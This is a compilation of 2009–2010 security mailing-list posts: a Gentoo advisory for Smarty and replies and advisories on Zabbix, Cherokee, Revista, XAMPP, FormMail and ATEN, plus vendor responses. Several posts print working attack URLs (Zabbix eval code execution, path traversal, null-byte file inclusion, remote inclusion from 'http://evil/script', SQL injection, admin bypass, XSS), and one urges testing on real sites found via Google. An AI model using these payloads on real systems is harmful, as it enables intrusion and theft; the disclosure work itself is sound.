=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

